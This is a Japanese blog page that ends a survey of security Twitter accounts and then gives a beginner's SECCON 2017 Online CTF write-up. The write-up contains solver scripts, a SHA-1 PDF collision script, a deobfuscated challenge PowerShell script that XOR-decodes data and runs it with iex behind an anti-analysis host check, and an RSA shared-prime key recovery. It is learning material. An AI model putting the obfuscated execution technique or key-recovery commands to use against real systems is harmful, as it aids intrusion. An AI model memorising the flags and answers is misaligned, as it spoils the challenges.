16 lac_security 情報セキュリティのラック 124
17 number3to4 abend 121
18 YuhoKameda ykame 118
19 ScanNetSecurity ScanNetSecurity 113
20 kinugawamasato Masato Kinugawa 110
21 takahoyo ほよたか 108
22 jvnjp JVN 脆弱性レポート 106
23 JVNiPedia IPA (JVNiPedia) 105
24 0x009AD6_810 Neutral8✗9eR 104
25 Typhon666_death Typhon✡MetalTonight 104
26 HiromitsuTakagi Hiromitsu Takagi 104
27 you0708 NAKATSURU You 102
28 nekoruri Aki@C93金曜-東3キ43b 102
29 yousukezan yousukezan 102
30 ymzkei5 やまざきkei5 101
31 cas_nisc NISC内閣サイバーセキュリティセンター 101
32 yakumo3 yakumo3 100
33 JSECTEAM マイクロソフト セキュリティチーム 98
34 def_jp JPドメイン Web改竄速報 bot 98
35 enigma63 えにぐま 96
36 matsuu matsuu 92
37 avtokyo avtokyo 92
38 IPAjp IPA情報処理推進機構 92
39 secconctf SECCON CTF 91
40 jnsa JNSA 91
41 OrangeMorishita Yasuhiro Morishita 90
42 yarai1978 Yuu Arai 90
43 tetsutalow 上原 哲太郎/Tetsu. Uehara 90
44 vulcain ヴァルカン 90
45 okdt riotaro okada 89
46 wakatono wakatono(JK) 89
47 codeblue_jp CODE BLUE 88
48 nisc_forecast 内閣サイバー(注意・警戒情報) 87
49 ICATalerts IPA (ICATalerts) 87
50 mimura1133 みむら 86

このあたりは個人のアカウントというよりはラックやマイクロソフトなどの法人,CODE BLUE,AVTOKYOなどのカンファレンス,「JPドメイン Web改竄速報 bot」などの情報アカウント,IPA,JPCERT,NISCなどが目立ちます.

ちなみに全体の20%以上がフォローしているアカウントは全部で109ありました.この界隈の方々がフォローするアカウントは割と固定化されていると感じました.

まとめ

今回は自分のフォローしたい方を決定するために,セキュリティ界隈のフォロー一覧を調べてみました.せっかくデータを取得したのでもうちょっと色々と調べてみたいと思います.あと今回の結果は割と偏りがあるので,他の方法でも集計してみたいです.

追記

続き書きました.

SECCON 2017 Online CTFのWriteupを書いてみる

他の方のWriteup読んでたら自分も書きたくなった. Writeupを書くのは初めてだし,そもそもこういったOnlineのCTFに参加すること自体,今まで1,2回くらいしかなかったので,ミスは大目に見てほしい.

7問+1を解いて1100ptで190位だった.チーム名は"ttt". もうちょっとちゃんとした名前にすればよかった.

Vigenere3d 100

i文字目の暗号文c[i]を,変換テーブルtを用いてc[i]=t[k][m][n]と表すとき,c[i]

c[i] = s[(k+m+n)%65]
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"

のように表すことができる.pを平文,k1,k2を鍵とすると,k=s.find(p[i]), m=s.find(k1[i]), n=s.find(k2[i])なのでc[i]

c[i] = s[(s.find(p[i])+s.find(k1[i])+s.find(k2[i]))%65]

と書くことができる. 平文の最初の7文字は既知であり,k1の鍵長は14文字,さらにk2=k1[::-1]であることから以下の対応が得られる.

P = s[15] = s[18+s.find(k1[0])+s.find(k1[13]))%65]
O = s[14] = s[4+s.find(k1[1])+s.find(k1[12]))%65]
R = s[17] = s[2+s.find(k1[2])+s.find(k1[11]))%65]
4 = s[30] = s[2+s.find(k1[3])+s.find(k1[10]))%65]
d = s[39] = s[14+s.find(k1[4])+s.find(k1[9]))%65]
n = s[49] = s[13+s.find(k1[5])+s.find(k1[8]))%65]
y = s[60] = s[63+s.find(k1[6])+s.find(k1[7]))%65]

さらに0<=i<=64より

s.find(k1[0])+s.find(k1[13]) = 62
s.find(k1[1])+s.find(k1[12]) = 10
s.find(k1[2])+s.find(k1[11]) = 15
s.find(k1[3])+s.find(k1[10]) = 28
s.find(k1[4])+s.find(k1[9]) = 25
s.find(k1[5])+s.find(k1[8]) = 36
s.find(k1[6])+s.find(k1[7]) = 62

となる.

8文字目は

T = s[19] = s[(s.find(p[7])+s.find(k1[7])+s.find(k1[6]))%65]

ここにs.find(k1[7])+s.find(k1[6]) = 62を代入して

s[19] = s[(s.find(p[7])+62)%65]
19 = (s.find(p[7]) + 62) % 65
s.find(p[7]) = 22
p[7] = "W"

同様にして9文字目以降も求めることができる. コード

s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
cipher = "POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9"

table = [62, 10, 15, 28, 25, 36, 62]
table = table +table[::-1]

p = ""
for i, c in enumerate(cipher):
    p += s[(s.find(c) - table[i % len(table)]) % len(s)]
print p
SECCON{Welc0me_to_SECCON_CTF_2017}

Run me! 100

フィボナッチ数列.コード書くのが面倒だったので計算サイトに投げた

SECCON{65076140832331717667772761541872}

putchar music 100

映画のタイトルと聞いてスターウォーズかなぁと思い文字列を見てみると

###<f_YM\204g_YM\204g_Y_H #<f_YM\204g_YM\204g_Y_H #+-?[WKAMYJ/7 #+-?[WKgH #+-?[WKAMYJ/7hk\206\203tk\\YJAfkkk";for(i=0;t=1;i=(i+1)%

はじめの###とかそのあとの繰り返し部分でああこれスターウォーズだと確信した.てか映画に疎いので他に世界的に知られている映画の曲はわからんです.

SECCON{STAR_WARS}

他の方のWriteupを見て実際に動かしてみた.soxというツールを使えばいいらしい.

gcc -Wall putchar_music.c -o putchar_music -lm
./putchar_music | sox -r 8000 -b 8 -c 1 -t raw -s - -d

聴けた.すごい.

SHA-1 is dead 100

適当にググるいい感じのツールがあった. 2つのpdfファイルのSHA-1を衝突させてくれるらしい.

これを用いて,一文字違いのtxtファイルを生成し,pdfに変換,上記のツールを使用してSHA-1が衝突するpdfを生成,ファイルサイズが2017KiBと2018KiBの間なら終了する雑なプログラムを書いた.range(3200,3300)は大体の当たりをつけて書いた.

import subprocess
import string
import random
import os.path

def stringSplit(string, num):
    s = []
    for i in range(len(string) // num):
        s.append(string[num*i:num*(i+1)])
    r = len(string) % num
    if r:
        s.append(string[-r:])
    return s

def writeFile(filename, str):
    f = open(filename, 'w')
    for r in str:
        f.writelines(r+"\n")
    f.close()

def makePdf(filename):
    cmd = "a2ps "+filename+".txt -o "+filename+".ps"
    subprocess.call( cmd.strip().split(" ")  )
    cmd = "ps2pdf "+filename+".ps"
    subprocess.call( cmd.strip().split(" ")  )

for n in range(3200,3300):
    random_str = ''.join([random.choice(string.ascii_letters) for i in range(n)])
    i = random.randint(1, n)
    random_str2 = random_str[:i]+"_"+random_str[i+1:]

    random_str = stringSplit(random_str, 50)
    writeFile("text1.txt", random_str)

    random_str2 = stringSplit(random_str2, 50)
    writeFile("text2.txt", random_str2)

    makePdf("text1")
    makePdf("text2")

    cmd = "python3 sha1collider/collide.py text1.pdf text2.pdf"
    subprocess.call( cmd.strip().split(" ")  )

    n = os.path.getsize("out-text1.pdf")
    print n
    if n > 1024*2017 and n < 1024*2018:
        break
SECCON{SHA-1_1995-2017?}

この資料によるとSHA-1はメッセージをブロックに分割して,ブロックを一つずつ読み込みながら内部状態を更新し,最終的なハッシュを出力しているようである.よってある時点で内部状態が一致し,かつその後のデータが同じであれば,後に何を追加してもハッシュは同じである.これとpdfの仕様をうまく利用してあらゆる(?)pdfにおいてハッシュの衝突が可能になる.

このことから出題者の意図としては上記の解法よりも,衝突しているpdfにデータを追加して目的のサイズに合わせる,という解法のほうが趣旨にあっていると思う.如何に自分がsha-1を分かっていなかったか.

Powerful_Shell 300

難読化されたPowerShellスクリプト.このままでは分からないのでコードを出力してみる.コードの出力は$ECCON+=の処理の末尾に,以下を追加すれば良い.

"$ECCON"
$ErrorActionPreference = "ContinueSilently"
[console]::BackgroundColor = "black";...-n;x;x;

<# Host Check #>
Write-Host -b 00 -f 15 Checking Host... Please wait... -n
Try{
        If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) {
                Write-Host "This host is too fresh!"
                Exit
        }
}Catch{
        Write-Host "Failed: No admin rights!"
        Exit
}
Write-Host "Check passed"

$keytone=@{'a'=261.63}
$pk='a'
ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){
        $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k
}
Write-Host -b 00 -f 15 "Play the secret melody."

Write-Host -b 15 -f 00 -n '   '
...
Write-Host -b 15 -f 00  '    '
Write-Host
$stage1=@();$f="";
While($stage1.length -lt 14){
        $key=(Get-Host).ui.RawUI.ReadKey("NoEcho,IncludeKeyDown")
        $k=[String]$key.Character
        $f+=$k;
        If($keytone.Contains($k)){
                $stage1+=[math]::floor($keytone[$k])
                [console]::beep($keytone[$k],500)
        }
}
$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)
If($secret.length -eq $stage1.length){
        For ($i=1; $i -le $secret.length; $i++) {
                If($secret[$i] -ne $stage1[$i]){
                        Exit
                }
        }
        x "Correct. Move to the next stage."
}
$text=@"
YkwRUxVXQ05DQ1N...BE2FxROE10VShZOTBFTF2E=
"@

$plain=@()
$byteString = [System.Convert]::FromBase64String($text)
$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {
        for ($j = 0; $j -lt $f.length; $j++) {
                $plain+=$byteString[$i] -bxor $f[$j]
                $i++
                if ($i -ge $byteString.Length) {
                        $j = $f.length
                }
        }
})
iex([System.Text.Encoding]::ASCII.GetString($plain))

出力したコードを実行してみるが動かない.

Write-Host -b 00 -f 15 Checking Host... Please wait... -n
Try{
        If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) {
                Write-Host "This host is too fresh!"
                Exit
        }
}Catch{
        Write-Host "Failed: No admin rights!"
        Exit
}
Write-Host "Check passed"

この箇所を見る限り,Admin権限でないまたはEventID4624に関するログが1000件未満だと動作を停止するそう. しかしここの処理は後の処理に関係ないので,この箇所を削除したコードを直接実行する.

すると鍵盤のようなものが出てきた.対応するキーを叩くとちゃんと音が出る.

押したキーが以下の場合は次に行けるようである.

$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)

440って「ラ」だよなぁと思ったのでググりながら音階の周波数を調べ,押すキーを求めた.

hhjhhjhjkjhjhf

ここを突破するとパスワードが求められた.該当のコードはbase64になっていたので,上と同様にしてコードを出力する.

${}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

すごい.

こっから全然わからんなーと思いつつ色々やったところ,Get-Variableで変数一覧を表示した時に以下が出てきた.

Name    Value                                                
----    -----     
"               [CHar]                                                   
$               .\powerfullshell.ps1
&               8                                                   
(               6                                                   
)               7                                                   
.               3                                                   
;               iex                                               
?               True                                                 
@               2                                                   
[               4                                                   
]               5                                                   
^               .\powerfullshell.ps1
|               9                                                   
+               1                                                   
=               0             

ここから${}の中は上記の変換をすれば良いと考え,変換した.

解読してみたところ,If($ECCON -eq 'P0wEr$H311')みたいな文字列と,Write-Host "SECCON{$ECCON}"みたいな文字列を見つけたので,これをフラグとして出したら通った.

SECCON{P0wEr$H311}

Log search 100

よくわからず.とりあえず"flag"という文字列とマイナス検索を駆使して/flag-xxxとなっているものでResponseが200のものを見つけたのでアクセスしたらフラグを見つけた.

SECCON{N0SQL_1njection_for_Elasticsearch!}

他の方のWriteupを見る限り,どうやらElastic SearchのURIサーチが使えるそう.

+request:"/flag" +response:200

Ps and Qs 200

某Crypto Challenges List(https://pastebin.com/cSfZW2yX)にのってたRSALOTと同じ解法で解けた.素数使いまわしているとgcdを求めることで素数の推定ができるよって問題.

公開鍵のコンポーネントを抽出し

openssl rsa -pubin -in pub1.pub -text -noout

公約数を求めるコードを書き

import math
n1 = int(open('pub1.pub.mod.txt', 'r').read().strip(), 16)
n2 = int(open('pub2.pub.mod.txt', 'r').read().strip(), 16)
cp = math.gcd(n1, n2)
if cp != 1:
    q1 = n1 // cp
    q2 = n2 // cp
    print ('q1: ', q1)
    print ('q2: ', q2)

rsatool秘密鍵を求め

python rsatool/rsatool.py -f PEM -o key1 -p 28491351268021265...2684652311433029 -q 29756285957217824...9605071066540057

復号する.

openssl rsautl -decrypt -inkey key1 -in cipher
SECCON{1234567890ABCDEF}

RSAは鍵生成時の素数の選び方などをミスると簡単に秘密鍵が推測できてしまうことがある.(参考資料) しかし実際に運用でそういったことって起こるのだろうか.

Thank you for playing! Thank you! 100

初めてのSECCON CTFにしては頑張ったほうだと思う.ただ実際にWriteupを書いてみるとほとんど真面目に解いてないことがわかったのでちゃんと復習したい.来年は高い得点の問題を解くこととpwn問を最低一問解くことを目標にしたい.あともっといろんなCTFに参加したいと思う.

SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!}